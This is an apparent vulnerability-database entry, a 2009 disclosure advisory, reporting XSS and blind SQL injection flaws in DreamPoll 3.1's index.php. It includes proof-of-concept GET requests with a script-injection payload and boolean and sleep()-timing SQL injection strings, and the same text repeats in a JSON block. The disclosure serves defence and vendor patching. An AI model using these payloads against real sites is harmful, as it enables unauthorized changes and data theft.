Search...

DreamPoll 3.1 Vulnerabilities

2009-10-08T00:00:00

ID SSV:14380
Type seebug
Reporter Root
Modified 2009-10-08T00:00:00

Description

No description provided by source.

                                        
                                            
                                                During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows:

XSS

????????-

File: index.php

Variable: recordsPerPage

Example: GET /index.php?action=loginsortField=poll_default&amp;sortDesc=1&amp;recordsPerPage=
1&gt;?&gt;&lt;ScRiPt%20%0d%0a&gt;alert(911)%3B&lt;/ScRiPt&gt;

Blind SQL/Xpath Injection

????????-

File: index.php

Variable: sortField

Example: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&amp;sortDesc
=1&amp;recordsPerPage=20

Blind SQL Injection (Timing)

????????-

File: index.php

Variables: sortField, sortDesc, pageNumber

Example: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&amp;sortDesc=1
&amp;recordsPerPage=20

While not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix.

http://www.infosecstuff.com

JSON Vulners Source

Initial Source

{"href": "https://www.seebug.org/vuldb/ssvid-14380", "status": "poc", "bulletinFamily": "exploit", "modified": "2009-10-08T00:00:00", "title": "DreamPoll 3.1 Vulnerabilities", "cvss": {"vector": "NONE", "score": 0.0}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-14380", "cvelist": [], "description": "No description provided by source.", "viewCount": 1, "published": "2009-10-08T00:00:00", "sourceData": "\n During a recent security audit of the DreamPoll 3.1 software by Dreamlevels, I discovered a number of XSS and SQL Injection vulnerabilities in the application. These vulnerabilities could be exploited to make unauthorized changes to a web site or compromise a client accessing a site that utilizes the application. Details of the vulnerabilities are as follows:\r\n\r\nXSS\r\n\r\n????????-\r\n\r\nFile: index.php\r\n\r\nVariable: recordsPerPage\r\n\r\nExample: GET /index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=\r\n1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>\r\n\r\nBlind SQL/Xpath Injection\r\n\r\n????????-\r\n\r\nFile: index.php\r\n\r\nVariable: sortField\r\n\r\nExample: GET /index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc\r\n=1&recordsPerPage=20\r\n\r\nBlind SQL Injection (Timing)\r\n\r\n????????-\r\n\r\nFile: index.php\r\n\r\nVariables: sortField, sortDesc, pageNumber\r\n\r\nExample: GET /index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1\r\n&recordsPerPage=20\r\n\r\nWhile not specifically tested, it is likely these vulnerabilities exist in earlier versions of this application as well. The vendor was notified on 09/28/2009 and a fix was released the same day. If you are a current user of this software, contact the vendor for the available fix.\r\n\r\nhttp://www.infosecstuff.com\n ", "id": "SSV:14380", "enchantments_done": [], "type": "seebug", "lastseen": "2017-11-19T18:34:13", "reporter": "Root", "enchantments": {"score": {"value": -0.2, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.2}, "references": [], "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645472549}}